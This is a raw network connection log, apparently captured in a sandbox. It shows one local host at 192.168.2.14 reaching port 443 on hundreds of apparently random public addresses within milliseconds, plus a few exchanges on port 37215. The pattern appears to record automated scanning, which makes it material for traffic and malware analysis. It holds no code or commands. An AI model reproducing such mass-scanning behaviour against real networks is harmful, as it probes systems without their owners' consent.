Jan 30, 2025 10:43:03.148266077 CET	61319	443	192.168.2.14	148.158.37.134
Jan 30, 2025 10:43:03.148272038 CET	61319	443	192.168.2.14	94.219.176.252
Jan 30, 2025 10:43:03.148284912 CET	61319	443	192.168.2.14	37.39.229.182
Jan 30, 2025 10:43:03.148294926 CET	61319	443	192.168.2.14	178.203.137.104
Jan 30, 2025 10:43:03.148296118 CET	61319	443	192.168.2.14	212.207.166.58
Jan 30, 2025 10:43:03.148308992 CET	61319	443	192.168.2.14	79.160.23.204
Jan 30, 2025 10:43:03.148319960 CET	61319	443	192.168.2.14	94.187.169.79
Jan 30, 2025 10:43:03.148327112 CET	61319	443	192.168.2.14	2.219.60.216
Jan 30, 2025 10:43:03.148338079 CET	61319	443	192.168.2.14	42.231.63.109
Jan 30, 2025 10:43:03.148344994 CET	61319	443	192.168.2.14	118.114.201.59
Jan 30, 2025 10:43:03.148370981 CET	61319	443	192.168.2.14	5.199.217.117
Jan 30, 2025 10:43:03.148375034 CET	61319	443	192.168.2.14	148.124.156.182
Jan 30, 2025 10:43:03.148375034 CET	61319	443	192.168.2.14	118.215.247.83
Jan 30, 2025 10:43:03.148375034 CET	61319	443	192.168.2.14	94.162.210.66
Jan 30, 2025 10:43:03.148375034 CET	61319	443	192.168.2.14	212.252.96.111
Jan 30, 2025 10:43:03.148385048 CET	61319	443	192.168.2.14	109.108.99.41
Jan 30, 2025 10:43:03.148387909 CET	61319	443	192.168.2.14	118.86.141.70
Jan 30, 2025 10:43:03.148392916 CET	61319	443	192.168.2.14	148.57.104.83
Jan 30, 2025 10:43:03.148402929 CET	61319	443	192.168.2.14	148.224.158.187
Jan 30, 2025 10:43:03.148407936 CET	61319	443	192.168.2.14	109.141.140.10
Jan 30, 2025 10:43:03.148425102 CET	61319	443	192.168.2.14	178.36.119.132
Jan 30, 2025 10:43:03.148425102 CET	61319	443	192.168.2.14	178.56.146.10
Jan 30, 2025 10:43:03.148438931 CET	61319	443	192.168.2.14	79.155.255.222
Jan 30, 2025 10:43:03.148441076 CET	61319	443	192.168.2.14	117.37.32.254
Jan 30, 2025 10:43:03.148453951 CET	61319	443	192.168.2.14	148.139.225.129
Jan 30, 2025 10:43:03.148456097 CET	61319	443	192.168.2.14	178.245.172.126
Jan 30, 2025 10:43:03.148469925 CET	61319	443	192.168.2.14	79.45.138.3
Jan 30, 2025 10:43:03.148475885 CET	61319	443	192.168.2.14	212.87.120.14
Jan 30, 2025 10:43:03.148482084 CET	61319	443	192.168.2.14	210.137.58.30
Jan 30, 2025 10:43:03.148498058 CET	61319	443	192.168.2.14	79.33.73.249
Jan 30, 2025 10:43:03.148498058 CET	61319	443	192.168.2.14	42.169.152.5
Jan 30, 2025 10:43:03.148509979 CET	61319	443	192.168.2.14	5.125.115.144
Jan 30, 2025 10:43:03.148515940 CET	61319	443	192.168.2.14	37.71.213.159
Jan 30, 2025 10:43:03.148528099 CET	61319	443	192.168.2.14	212.117.254.172
Jan 30, 2025 10:43:03.148544073 CET	61319	443	192.168.2.14	212.19.255.255
Jan 30, 2025 10:43:03.148544073 CET	61319	443	192.168.2.14	79.64.247.76
Jan 30, 2025 10:43:03.148561001 CET	61319	443	192.168.2.14	148.156.135.149
Jan 30, 2025 10:43:03.148566008 CET	61319	443	192.168.2.14	42.213.80.166
Jan 30, 2025 10:43:03.148571968 CET	61319	443	192.168.2.14	5.147.134.189
Jan 30, 2025 10:43:03.148582935 CET	61319	443	192.168.2.14	118.171.214.99
Jan 30, 2025 10:43:03.148582935 CET	61319	443	192.168.2.14	210.223.78.148
Jan 30, 2025 10:43:03.148596048 CET	61319	443	192.168.2.14	42.138.154.86
Jan 30, 2025 10:43:03.148601055 CET	61319	443	192.168.2.14	202.156.73.71
Jan 30, 2025 10:43:03.148611069 CET	61319	443	192.168.2.14	42.241.107.119
Jan 30, 2025 10:43:03.148617029 CET	61319	443	192.168.2.14	2.238.21.2
Jan 30, 2025 10:43:03.148631096 CET	61319	443	192.168.2.14	2.116.44.210
Jan 30, 2025 10:43:03.148633957 CET	61319	443	192.168.2.14	109.49.241.248
Jan 30, 2025 10:43:03.148653030 CET	61319	443	192.168.2.14	117.230.231.132
Jan 30, 2025 10:43:03.148653984 CET	61319	443	192.168.2.14	148.205.140.94
Jan 30, 2025 10:43:03.148665905 CET	61319	443	192.168.2.14	178.170.25.54
Jan 30, 2025 10:43:03.148670912 CET	61319	443	192.168.2.14	42.178.12.63
Jan 30, 2025 10:43:03.148670912 CET	61319	443	192.168.2.14	79.131.56.222
Jan 30, 2025 10:43:03.148684978 CET	61319	443	192.168.2.14	117.175.52.63
Jan 30, 2025 10:43:03.148694992 CET	61319	443	192.168.2.14	210.38.146.97
Jan 30, 2025 10:43:03.148703098 CET	61319	443	192.168.2.14	210.136.175.46
Jan 30, 2025 10:43:03.148710966 CET	61319	443	192.168.2.14	79.242.253.221
Jan 30, 2025 10:43:03.148719072 CET	61319	443	192.168.2.14	148.87.47.208
Jan 30, 2025 10:43:03.148719072 CET	61319	443	192.168.2.14	2.38.149.136
Jan 30, 2025 10:43:03.148745060 CET	61319	443	192.168.2.14	5.161.239.16
Jan 30, 2025 10:43:03.148756981 CET	61319	443	192.168.2.14	109.94.123.246
Jan 30, 2025 10:43:03.148758888 CET	61319	443	192.168.2.14	5.66.122.145
Jan 30, 2025 10:43:03.148767948 CET	61319	443	192.168.2.14	79.115.53.187
Jan 30, 2025 10:43:03.148782969 CET	61319	443	192.168.2.14	148.162.201.184
Jan 30, 2025 10:43:03.148786068 CET	61319	443	192.168.2.14	148.190.129.139
Jan 30, 2025 10:43:03.148797035 CET	61319	443	192.168.2.14	148.227.219.148
Jan 30, 2025 10:43:03.148798943 CET	61319	443	192.168.2.14	178.66.48.124
Jan 30, 2025 10:43:03.148814917 CET	61319	443	192.168.2.14	123.80.182.228
Jan 30, 2025 10:43:03.148821115 CET	61319	443	192.168.2.14	212.213.254.209
Jan 30, 2025 10:43:03.148833036 CET	61319	443	192.168.2.14	178.192.84.240
Jan 30, 2025 10:43:03.148839951 CET	61319	443	192.168.2.14	37.100.250.232
Jan 30, 2025 10:43:03.148844957 CET	61319	443	192.168.2.14	210.71.91.168
Jan 30, 2025 10:43:03.148859024 CET	61319	443	192.168.2.14	5.98.16.46
Jan 30, 2025 10:43:03.148861885 CET	61319	443	192.168.2.14	37.236.136.109
Jan 30, 2025 10:43:03.148874044 CET	61319	443	192.168.2.14	2.184.121.119
Jan 30, 2025 10:43:03.148874044 CET	61319	443	192.168.2.14	5.56.238.189
Jan 30, 2025 10:43:03.148886919 CET	61319	443	192.168.2.14	2.207.196.86
Jan 30, 2025 10:43:03.148890018 CET	61319	443	192.168.2.14	79.199.204.86
Jan 30, 2025 10:43:03.148901939 CET	61319	443	192.168.2.14	148.61.4.226
Jan 30, 2025 10:43:03.148904085 CET	61319	443	192.168.2.14	42.54.17.12
Jan 30, 2025 10:43:03.148922920 CET	61319	443	192.168.2.14	118.158.181.5
Jan 30, 2025 10:43:03.148922920 CET	61319	443	192.168.2.14	178.78.8.38
Jan 30, 2025 10:43:03.148930073 CET	61319	443	192.168.2.14	94.220.139.167
Jan 30, 2025 10:43:03.148941994 CET	61319	443	192.168.2.14	212.75.247.42
Jan 30, 2025 10:43:03.148950100 CET	61319	443	192.168.2.14	109.215.159.159
Jan 30, 2025 10:43:03.148958921 CET	61319	443	192.168.2.14	148.127.163.99
Jan 30, 2025 10:43:03.148966074 CET	61319	443	192.168.2.14	123.83.197.59
Jan 30, 2025 10:43:03.148972988 CET	61319	443	192.168.2.14	148.142.196.95
Jan 30, 2025 10:43:03.148988962 CET	61319	443	192.168.2.14	212.218.200.12
Jan 30, 2025 10:43:03.148996115 CET	61319	443	192.168.2.14	94.236.14.71
Jan 30, 2025 10:43:03.149013042 CET	61319	443	192.168.2.14	202.103.57.34
Jan 30, 2025 10:43:03.149013042 CET	61319	443	192.168.2.14	94.234.156.1
Jan 30, 2025 10:43:03.149030924 CET	61319	443	192.168.2.14	79.133.170.199
Jan 30, 2025 10:43:03.149034977 CET	61319	443	192.168.2.14	5.83.53.11
Jan 30, 2025 10:43:03.149041891 CET	61319	443	192.168.2.14	2.178.126.151
Jan 30, 2025 10:43:03.149051905 CET	61319	443	192.168.2.14	123.14.173.35
Jan 30, 2025 10:43:03.149068117 CET	61319	443	192.168.2.14	178.255.229.213
Jan 30, 2025 10:43:03.149070024 CET	61319	443	192.168.2.14	210.28.107.247
Jan 30, 2025 10:43:03.149074078 CET	61319	443	192.168.2.14	42.82.159.5
Jan 30, 2025 10:43:03.149077892 CET	61319	443	192.168.2.14	212.85.70.19
Jan 30, 2025 10:43:03.149089098 CET	61319	443	192.168.2.14	117.50.169.85
Jan 30, 2025 10:43:03.149101019 CET	61319	443	192.168.2.14	123.144.181.144
Jan 30, 2025 10:43:03.149113894 CET	61319	443	192.168.2.14	117.24.216.7
Jan 30, 2025 10:43:03.149117947 CET	61319	443	192.168.2.14	2.228.96.114
Jan 30, 2025 10:43:03.149128914 CET	61319	443	192.168.2.14	2.217.51.98
Jan 30, 2025 10:43:03.149137020 CET	61319	443	192.168.2.14	117.217.105.60
Jan 30, 2025 10:43:03.149147987 CET	61319	443	192.168.2.14	148.129.44.5
Jan 30, 2025 10:43:03.149151087 CET	61319	443	192.168.2.14	79.34.239.229
Jan 30, 2025 10:43:03.149168015 CET	61319	443	192.168.2.14	94.9.130.42
Jan 30, 2025 10:43:03.149175882 CET	61319	443	192.168.2.14	37.12.169.208
Jan 30, 2025 10:43:03.149178028 CET	61319	443	192.168.2.14	79.109.199.181
Jan 30, 2025 10:43:03.149190903 CET	61319	443	192.168.2.14	210.176.3.35
Jan 30, 2025 10:43:03.149208069 CET	61319	443	192.168.2.14	210.94.88.186
Jan 30, 2025 10:43:03.149208069 CET	61319	443	192.168.2.14	109.92.140.139
Jan 30, 2025 10:43:03.149223089 CET	61319	443	192.168.2.14	117.141.202.23
Jan 30, 2025 10:43:03.149223089 CET	61319	443	192.168.2.14	94.159.8.213
Jan 30, 2025 10:43:03.149235964 CET	61319	443	192.168.2.14	94.129.122.61
Jan 30, 2025 10:43:03.149243116 CET	61319	443	192.168.2.14	148.252.65.238
Jan 30, 2025 10:43:03.149265051 CET	61319	443	192.168.2.14	202.235.40.148
Jan 30, 2025 10:43:03.149266005 CET	61319	443	192.168.2.14	2.45.208.29
Jan 30, 2025 10:43:03.149276972 CET	61319	443	192.168.2.14	118.32.156.4
Jan 30, 2025 10:43:03.149282932 CET	61319	443	192.168.2.14	118.106.44.195
Jan 30, 2025 10:43:03.149296045 CET	61319	443	192.168.2.14	118.58.8.19
Jan 30, 2025 10:43:03.149296999 CET	61319	443	192.168.2.14	178.52.162.138
Jan 30, 2025 10:43:03.149311066 CET	61319	443	192.168.2.14	123.187.228.158
Jan 30, 2025 10:43:03.149317026 CET	61319	443	192.168.2.14	210.236.97.236
Jan 30, 2025 10:43:03.149328947 CET	61319	443	192.168.2.14	148.249.179.255
Jan 30, 2025 10:43:03.149336100 CET	61319	443	192.168.2.14	123.223.254.162
Jan 30, 2025 10:43:03.149347067 CET	61319	443	192.168.2.14	202.113.71.14
Jan 30, 2025 10:43:03.149352074 CET	61319	443	192.168.2.14	109.23.255.217
Jan 30, 2025 10:43:03.149363995 CET	61319	443	192.168.2.14	94.101.33.123
Jan 30, 2025 10:43:03.149364948 CET	61319	443	192.168.2.14	212.212.114.157
Jan 30, 2025 10:43:03.149380922 CET	61319	443	192.168.2.14	212.117.85.110
Jan 30, 2025 10:43:03.149395943 CET	61319	443	192.168.2.14	148.197.220.123
Jan 30, 2025 10:43:03.149395943 CET	61319	443	192.168.2.14	79.187.35.218
Jan 30, 2025 10:43:03.149409056 CET	61319	443	192.168.2.14	109.185.191.39
Jan 30, 2025 10:43:03.149410963 CET	61319	443	192.168.2.14	109.230.154.62
Jan 30, 2025 10:43:03.149426937 CET	61319	443	192.168.2.14	148.151.182.194
Jan 30, 2025 10:43:03.149426937 CET	61319	443	192.168.2.14	123.80.147.222
Jan 30, 2025 10:43:03.149441004 CET	61319	443	192.168.2.14	37.115.158.110
Jan 30, 2025 10:43:03.149451971 CET	61319	443	192.168.2.14	2.236.34.148
Jan 30, 2025 10:43:03.149454117 CET	61319	443	192.168.2.14	42.180.187.87
Jan 30, 2025 10:43:03.149468899 CET	61319	443	192.168.2.14	178.187.95.223
Jan 30, 2025 10:43:03.149468899 CET	61319	443	192.168.2.14	178.191.163.170
Jan 30, 2025 10:43:03.149482012 CET	61319	443	192.168.2.14	210.217.12.6
Jan 30, 2025 10:43:03.149482012 CET	61319	443	192.168.2.14	37.31.199.38
Jan 30, 2025 10:43:03.149485111 CET	61319	443	192.168.2.14	117.32.195.54
Jan 30, 2025 10:43:03.149491072 CET	61319	443	192.168.2.14	212.164.171.230
Jan 30, 2025 10:43:03.149507046 CET	61319	443	192.168.2.14	109.187.245.221
Jan 30, 2025 10:43:03.149508953 CET	61319	443	192.168.2.14	109.140.121.180
Jan 30, 2025 10:43:03.149518013 CET	61319	443	192.168.2.14	109.93.246.200
Jan 30, 2025 10:43:03.149522066 CET	61319	443	192.168.2.14	123.79.142.236
Jan 30, 2025 10:43:03.149530888 CET	61319	443	192.168.2.14	117.217.66.91
Jan 30, 2025 10:43:03.149535894 CET	61319	443	192.168.2.14	178.185.175.4
Jan 30, 2025 10:43:03.149545908 CET	61319	443	192.168.2.14	210.100.40.83
Jan 30, 2025 10:43:03.149549007 CET	61319	443	192.168.2.14	148.89.139.139
Jan 30, 2025 10:43:03.149559975 CET	61319	443	192.168.2.14	202.105.59.247
Jan 30, 2025 10:43:03.149561882 CET	61319	443	192.168.2.14	79.231.45.124
Jan 30, 2025 10:43:03.149574041 CET	61319	443	192.168.2.14	202.44.162.151
Jan 30, 2025 10:43:03.149576902 CET	61319	443	192.168.2.14	42.137.14.235
Jan 30, 2025 10:43:03.149588108 CET	61319	443	192.168.2.14	148.59.109.13
Jan 30, 2025 10:43:03.149594069 CET	61319	443	192.168.2.14	79.162.224.19
Jan 30, 2025 10:43:03.149606943 CET	61319	443	192.168.2.14	212.132.191.133
Jan 30, 2025 10:43:03.149614096 CET	61319	443	192.168.2.14	123.49.71.238
Jan 30, 2025 10:43:03.149630070 CET	61319	443	192.168.2.14	94.86.174.16
Jan 30, 2025 10:43:03.149640083 CET	61319	443	192.168.2.14	202.49.1.59
Jan 30, 2025 10:43:03.149641991 CET	61319	443	192.168.2.14	2.33.27.74
Jan 30, 2025 10:43:03.149661064 CET	61319	443	192.168.2.14	109.219.24.219
Jan 30, 2025 10:43:03.149663925 CET	61319	443	192.168.2.14	212.100.142.109
Jan 30, 2025 10:43:03.149674892 CET	61319	443	192.168.2.14	210.221.210.2
Jan 30, 2025 10:43:03.149677038 CET	61319	443	192.168.2.14	202.30.25.176
Jan 30, 2025 10:43:03.149691105 CET	61319	443	192.168.2.14	5.122.126.59
Jan 30, 2025 10:43:03.149694920 CET	61319	443	192.168.2.14	148.222.229.195
Jan 30, 2025 10:43:03.149709940 CET	61319	443	192.168.2.14	37.40.185.38
Jan 30, 2025 10:43:03.149713039 CET	61319	443	192.168.2.14	37.224.156.232
Jan 30, 2025 10:43:03.149723053 CET	61319	443	192.168.2.14	94.28.137.2
Jan 30, 2025 10:43:03.149729013 CET	61319	443	192.168.2.14	123.250.65.51
Jan 30, 2025 10:43:03.149740934 CET	61319	443	192.168.2.14	123.132.42.112
Jan 30, 2025 10:43:03.149751902 CET	61319	443	192.168.2.14	42.80.246.198
Jan 30, 2025 10:43:03.149751902 CET	61319	443	192.168.2.14	37.101.86.135
Jan 30, 2025 10:43:03.149759054 CET	61319	443	192.168.2.14	212.165.73.224
Jan 30, 2025 10:43:03.149771929 CET	61319	443	192.168.2.14	109.147.160.177
Jan 30, 2025 10:43:03.149775982 CET	61319	443	192.168.2.14	2.199.225.193
Jan 30, 2025 10:43:03.149784088 CET	61319	443	192.168.2.14	123.8.81.175
Jan 30, 2025 10:43:03.149795055 CET	61319	443	192.168.2.14	212.102.159.70
Jan 30, 2025 10:43:03.149796963 CET	61319	443	192.168.2.14	210.68.12.128
Jan 30, 2025 10:43:03.149816990 CET	61319	443	192.168.2.14	118.153.84.89
Jan 30, 2025 10:43:03.149818897 CET	61319	443	192.168.2.14	202.168.154.221
Jan 30, 2025 10:43:03.149830103 CET	61319	443	192.168.2.14	123.43.160.236
Jan 30, 2025 10:43:03.149831057 CET	61319	443	192.168.2.14	42.209.70.122
Jan 30, 2025 10:43:03.149847031 CET	61319	443	192.168.2.14	118.174.142.113
Jan 30, 2025 10:43:03.149862051 CET	61319	443	192.168.2.14	210.229.167.159
Jan 30, 2025 10:43:03.149866104 CET	61319	443	192.168.2.14	37.56.250.204
Jan 30, 2025 10:43:03.149878025 CET	61319	443	192.168.2.14	178.237.71.141
Jan 30, 2025 10:43:03.149884939 CET	61319	443	192.168.2.14	202.114.102.83
Jan 30, 2025 10:43:03.149898052 CET	61319	443	192.168.2.14	2.24.168.149
Jan 30, 2025 10:43:03.149898052 CET	61319	443	192.168.2.14	37.220.181.143
Jan 30, 2025 10:43:03.149909019 CET	61319	443	192.168.2.14	118.205.132.224
Jan 30, 2025 10:43:03.149912119 CET	61319	443	192.168.2.14	79.180.10.32
Jan 30, 2025 10:43:03.149924994 CET	61319	443	192.168.2.14	148.37.252.22
Jan 30, 2025 10:43:03.149930954 CET	61319	443	192.168.2.14	212.7.130.133
Jan 30, 2025 10:43:03.149945021 CET	61319	443	192.168.2.14	117.71.97.41
Jan 30, 2025 10:43:03.149955988 CET	61319	443	192.168.2.14	42.73.54.139
Jan 30, 2025 10:43:03.149961948 CET	61319	443	192.168.2.14	123.189.170.120
Jan 30, 2025 10:43:03.149972916 CET	61319	443	192.168.2.14	123.230.91.150
Jan 30, 2025 10:43:03.149977922 CET	61319	443	192.168.2.14	212.216.251.110
Jan 30, 2025 10:43:03.149991989 CET	61319	443	192.168.2.14	117.198.105.89
Jan 30, 2025 10:43:03.149991989 CET	61319	443	192.168.2.14	123.172.42.35
Jan 30, 2025 10:43:03.150007010 CET	61319	443	192.168.2.14	117.162.67.184
Jan 30, 2025 10:43:03.150010109 CET	61319	443	192.168.2.14	42.12.42.125
Jan 30, 2025 10:43:03.150013924 CET	61319	443	192.168.2.14	42.162.186.202
Jan 30, 2025 10:43:03.150023937 CET	61319	443	192.168.2.14	109.140.108.83
Jan 30, 2025 10:43:03.150026083 CET	61319	443	192.168.2.14	2.192.11.91
Jan 30, 2025 10:43:03.150038004 CET	61319	443	192.168.2.14	2.59.84.92
Jan 30, 2025 10:43:03.150053024 CET	61319	443	192.168.2.14	2.1.151.219
Jan 30, 2025 10:43:03.150054932 CET	61319	443	192.168.2.14	37.206.40.44
Jan 30, 2025 10:43:03.150067091 CET	61319	443	192.168.2.14	210.60.21.105
Jan 30, 2025 10:43:03.150068045 CET	61319	443	192.168.2.14	210.48.124.34
Jan 30, 2025 10:43:03.150083065 CET	61319	443	192.168.2.14	117.76.189.168
Jan 30, 2025 10:43:03.150084972 CET	61319	443	192.168.2.14	117.30.79.104
Jan 30, 2025 10:43:03.150105000 CET	61319	443	192.168.2.14	202.140.117.41
Jan 30, 2025 10:43:03.150113106 CET	61319	443	192.168.2.14	79.93.189.28
Jan 30, 2025 10:43:03.150120020 CET	61319	443	192.168.2.14	5.16.61.130
Jan 30, 2025 10:43:03.150120020 CET	61319	443	192.168.2.14	117.247.251.240
Jan 30, 2025 10:43:03.150127888 CET	61319	443	192.168.2.14	212.214.225.215
Jan 30, 2025 10:43:03.150140047 CET	61319	443	192.168.2.14	178.137.40.33
Jan 30, 2025 10:43:03.150146961 CET	61319	443	192.168.2.14	117.186.189.204
Jan 30, 2025 10:43:03.150152922 CET	61319	443	192.168.2.14	109.62.178.143
Jan 30, 2025 10:43:03.150166988 CET	61319	443	192.168.2.14	79.167.12.58
Jan 30, 2025 10:43:03.150177002 CET	61319	443	192.168.2.14	42.2.229.112
Jan 30, 2025 10:43:03.150180101 CET	61319	443	192.168.2.14	178.153.8.1
Jan 30, 2025 10:43:03.150199890 CET	61319	443	192.168.2.14	202.88.102.195
Jan 30, 2025 10:43:03.150201082 CET	61319	443	192.168.2.14	210.48.141.200
Jan 30, 2025 10:43:03.150218964 CET	61319	443	192.168.2.14	117.131.52.230
Jan 30, 2025 10:43:03.150222063 CET	61319	443	192.168.2.14	79.203.223.148
Jan 30, 2025 10:43:03.150233030 CET	61319	443	192.168.2.14	210.15.227.241
Jan 30, 2025 10:43:03.150243044 CET	61319	443	192.168.2.14	123.137.19.25
Jan 30, 2025 10:43:03.150249004 CET	61319	443	192.168.2.14	42.13.133.57
Jan 30, 2025 10:43:03.150259018 CET	61319	443	192.168.2.14	118.1.253.63
Jan 30, 2025 10:43:03.150264978 CET	61319	443	192.168.2.14	94.10.2.64
Jan 30, 2025 10:43:03.150276899 CET	61319	443	192.168.2.14	123.127.129.15
Jan 30, 2025 10:43:03.150291920 CET	61319	443	192.168.2.14	118.150.154.211
Jan 30, 2025 10:43:03.150296926 CET	61319	443	192.168.2.14	37.163.64.35
Jan 30, 2025 10:43:03.150307894 CET	61319	443	192.168.2.14	123.89.67.82
Jan 30, 2025 10:43:03.150322914 CET	61319	443	192.168.2.14	118.216.6.141
Jan 30, 2025 10:43:03.150325060 CET	61319	443	192.168.2.14	37.6.240.207
Jan 30, 2025 10:43:03.150331974 CET	61319	443	192.168.2.14	2.183.105.36
Jan 30, 2025 10:43:03.150343895 CET	61319	443	192.168.2.14	178.149.174.34
Jan 30, 2025 10:43:03.150345087 CET	61319	443	192.168.2.14	212.71.41.109
Jan 30, 2025 10:43:03.150357008 CET	61319	443	192.168.2.14	117.105.66.34
Jan 30, 2025 10:43:03.150369883 CET	61319	443	192.168.2.14	123.104.110.151
Jan 30, 2025 10:43:03.150383949 CET	61319	443	192.168.2.14	5.250.58.27
Jan 30, 2025 10:43:03.150386095 CET	61319	443	192.168.2.14	2.241.165.210
Jan 30, 2025 10:43:03.150401115 CET	61319	443	192.168.2.14	37.222.5.55
Jan 30, 2025 10:43:03.150409937 CET	61319	443	192.168.2.14	212.85.252.164
Jan 30, 2025 10:43:03.150418997 CET	61319	443	192.168.2.14	212.220.218.104
Jan 30, 2025 10:43:03.150427103 CET	61319	443	192.168.2.14	42.227.15.50
Jan 30, 2025 10:43:03.150437117 CET	61319	443	192.168.2.14	178.212.180.67
Jan 30, 2025 10:43:03.150450945 CET	61319	443	192.168.2.14	202.55.142.182
Jan 30, 2025 10:43:03.150451899 CET	61319	443	192.168.2.14	109.94.216.47
Jan 30, 2025 10:43:03.150465965 CET	61319	443	192.168.2.14	94.96.196.165
Jan 30, 2025 10:43:03.150476933 CET	61319	443	192.168.2.14	109.51.210.225
Jan 30, 2025 10:43:03.150489092 CET	61319	443	192.168.2.14	123.29.135.134
Jan 30, 2025 10:43:03.150490046 CET	61319	443	192.168.2.14	148.218.250.125
Jan 30, 2025 10:43:03.150491953 CET	37215	35920	156.63.240.57	192.168.2.14
Jan 30, 2025 10:43:03.150501966 CET	61319	443	192.168.2.14	2.210.8.230
Jan 30, 2025 10:43:03.150501966 CET	61319	443	192.168.2.14	212.63.213.119
Jan 30, 2025 10:43:03.150515079 CET	61319	443	192.168.2.14	109.119.57.72
Jan 30, 2025 10:43:03.150527000 CET	61319	443	192.168.2.14	123.232.70.204
Jan 30, 2025 10:43:03.150532961 CET	61319	443	192.168.2.14	109.179.226.168
Jan 30, 2025 10:43:03.150547028 CET	61319	443	192.168.2.14	117.181.148.215
Jan 30, 2025 10:43:03.150552034 CET	61319	443	192.168.2.14	178.185.26.123
Jan 30, 2025 10:43:03.150566101 CET	61319	443	192.168.2.14	2.211.168.108
Jan 30, 2025 10:43:03.150571108 CET	61319	443	192.168.2.14	109.20.103.240
Jan 30, 2025 10:43:03.150583029 CET	61319	443	192.168.2.14	94.219.252.227
Jan 30, 2025 10:43:03.150585890 CET	61319	443	192.168.2.14	94.46.78.132
Jan 30, 2025 10:43:03.150597095 CET	61319	443	192.168.2.14	117.73.190.78
Jan 30, 2025 10:43:03.150599957 CET	61319	443	192.168.2.14	109.155.19.195
Jan 30, 2025 10:43:03.150613070 CET	61319	443	192.168.2.14	94.171.141.205
Jan 30, 2025 10:43:03.150613070 CET	61319	443	192.168.2.14	42.99.220.116
Jan 30, 2025 10:43:03.150629044 CET	61319	443	192.168.2.14	2.155.244.148
Jan 30, 2025 10:43:03.150629997 CET	61319	443	192.168.2.14	148.95.178.94
Jan 30, 2025 10:43:03.150645971 CET	61319	443	192.168.2.14	178.78.141.87
Jan 30, 2025 10:43:03.150645971 CET	61319	443	192.168.2.14	5.135.102.107
Jan 30, 2025 10:43:03.150660992 CET	61319	443	192.168.2.14	178.137.180.153
Jan 30, 2025 10:43:03.150670052 CET	61319	443	192.168.2.14	2.39.67.77
Jan 30, 2025 10:43:03.150679111 CET	61319	443	192.168.2.14	202.79.69.68
Jan 30, 2025 10:43:03.150684118 CET	61319	443	192.168.2.14	123.18.203.52
Jan 30, 2025 10:43:03.150693893 CET	61319	443	192.168.2.14	42.168.41.21
Jan 30, 2025 10:43:03.150707960 CET	61319	443	192.168.2.14	5.173.169.16
Jan 30, 2025 10:43:03.150713921 CET	61319	443	192.168.2.14	79.101.102.255
Jan 30, 2025 10:43:03.150717974 CET	61319	443	192.168.2.14	5.53.51.37
Jan 30, 2025 10:43:03.150732994 CET	61319	443	192.168.2.14	210.89.65.94
Jan 30, 2025 10:43:03.150737047 CET	61319	443	192.168.2.14	79.66.254.217
Jan 30, 2025 10:43:03.150746107 CET	61319	443	192.168.2.14	37.205.16.188
Jan 30, 2025 10:43:03.150755882 CET	61319	443	192.168.2.14	123.35.37.7
Jan 30, 2025 10:43:03.150764942 CET	61319	443	192.168.2.14	117.108.83.7
Jan 30, 2025 10:43:03.150774956 CET	61319	443	192.168.2.14	79.144.229.181
Jan 30, 2025 10:43:03.150782108 CET	61319	443	192.168.2.14	109.161.219.166
Jan 30, 2025 10:43:03.150795937 CET	61319	443	192.168.2.14	118.16.148.56
Jan 30, 2025 10:43:03.150806904 CET	61319	443	192.168.2.14	118.9.220.242
Jan 30, 2025 10:43:03.150809050 CET	61319	443	192.168.2.14	42.223.211.190
Jan 30, 2025 10:43:03.150823116 CET	61319	443	192.168.2.14	202.121.31.138
Jan 30, 2025 10:43:03.150836945 CET	61319	443	192.168.2.14	148.34.109.96
Jan 30, 2025 10:43:03.150839090 CET	61319	443	192.168.2.14	79.188.189.122
Jan 30, 2025 10:43:03.150855064 CET	61319	443	192.168.2.14	79.9.47.55
Jan 30, 2025 10:43:03.150855064 CET	61319	443	192.168.2.14	202.169.245.104
Jan 30, 2025 10:43:03.150867939 CET	61319	443	192.168.2.14	2.28.45.201
Jan 30, 2025 10:43:03.150882006 CET	61319	443	192.168.2.14	118.31.85.20
Jan 30, 2025 10:43:03.150896072 CET	61319	443	192.168.2.14	2.159.206.21
Jan 30, 2025 10:43:03.150897026 CET	61319	443	192.168.2.14	79.214.71.44
Jan 30, 2025 10:43:03.150906086 CET	61319	443	192.168.2.14	117.253.160.203
Jan 30, 2025 10:43:03.150908947 CET	61319	443	192.168.2.14	2.79.121.237
Jan 30, 2025 10:43:03.150922060 CET	61319	443	192.168.2.14	94.169.240.214
Jan 30, 2025 10:43:03.150927067 CET	61319	443	192.168.2.14	2.100.59.39
Jan 30, 2025 10:43:03.150944948 CET	61319	443	192.168.2.14	178.110.99.204
Jan 30, 2025 10:43:03.150947094 CET	61319	443	192.168.2.14	42.6.98.214
Jan 30, 2025 10:43:03.150959015 CET	61319	443	192.168.2.14	210.56.16.195
Jan 30, 2025 10:43:03.150974035 CET	61319	443	192.168.2.14	210.193.97.17
Jan 30, 2025 10:43:03.150980949 CET	61319	443	192.168.2.14	42.50.110.228
Jan 30, 2025 10:43:03.150990963 CET	61319	443	192.168.2.14	2.91.169.139
Jan 30, 2025 10:43:03.151000977 CET	61319	443	192.168.2.14	212.208.9.108
Jan 30, 2025 10:43:03.151012897 CET	61319	443	192.168.2.14	5.36.135.241
Jan 30, 2025 10:43:03.151015043 CET	61319	443	192.168.2.14	79.215.255.4
Jan 30, 2025 10:43:03.151032925 CET	61319	443	192.168.2.14	148.51.86.1
Jan 30, 2025 10:43:03.151032925 CET	61319	443	192.168.2.14	178.247.45.99
Jan 30, 2025 10:43:03.151046038 CET	61319	443	192.168.2.14	37.18.191.168
Jan 30, 2025 10:43:03.151052952 CET	61319	443	192.168.2.14	202.40.169.143
Jan 30, 2025 10:43:03.151058912 CET	61319	443	192.168.2.14	42.216.68.110
Jan 30, 2025 10:43:03.151070118 CET	61319	443	192.168.2.14	5.207.235.52
Jan 30, 2025 10:43:03.151072979 CET	61319	443	192.168.2.14	42.225.235.148
Jan 30, 2025 10:43:03.151088953 CET	61319	443	192.168.2.14	118.81.199.13
Jan 30, 2025 10:43:03.151088953 CET	37215	34794	156.153.93.40	192.168.2.14
Jan 30, 2025 10:43:03.151094913 CET	61319	443	192.168.2.14	118.1.155.58
Jan 30, 2025 10:43:03.151113033 CET	61319	443	192.168.2.14	5.123.131.154
Jan 30, 2025 10:43:03.151114941 CET	61319	443	192.168.2.14	37.10.198.7
Jan 30, 2025 10:43:03.151128054 CET	61319	443	192.168.2.14	178.97.22.201
Jan 30, 2025 10:43:03.151138067 CET	34794	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:03.151138067 CET	61319	443	192.168.2.14	123.109.124.146
Jan 30, 2025 10:43:03.151149035 CET	61319	443	192.168.2.14	148.246.125.244
Jan 30, 2025 10:43:03.151150942 CET	61319	443	192.168.2.14	123.46.162.250
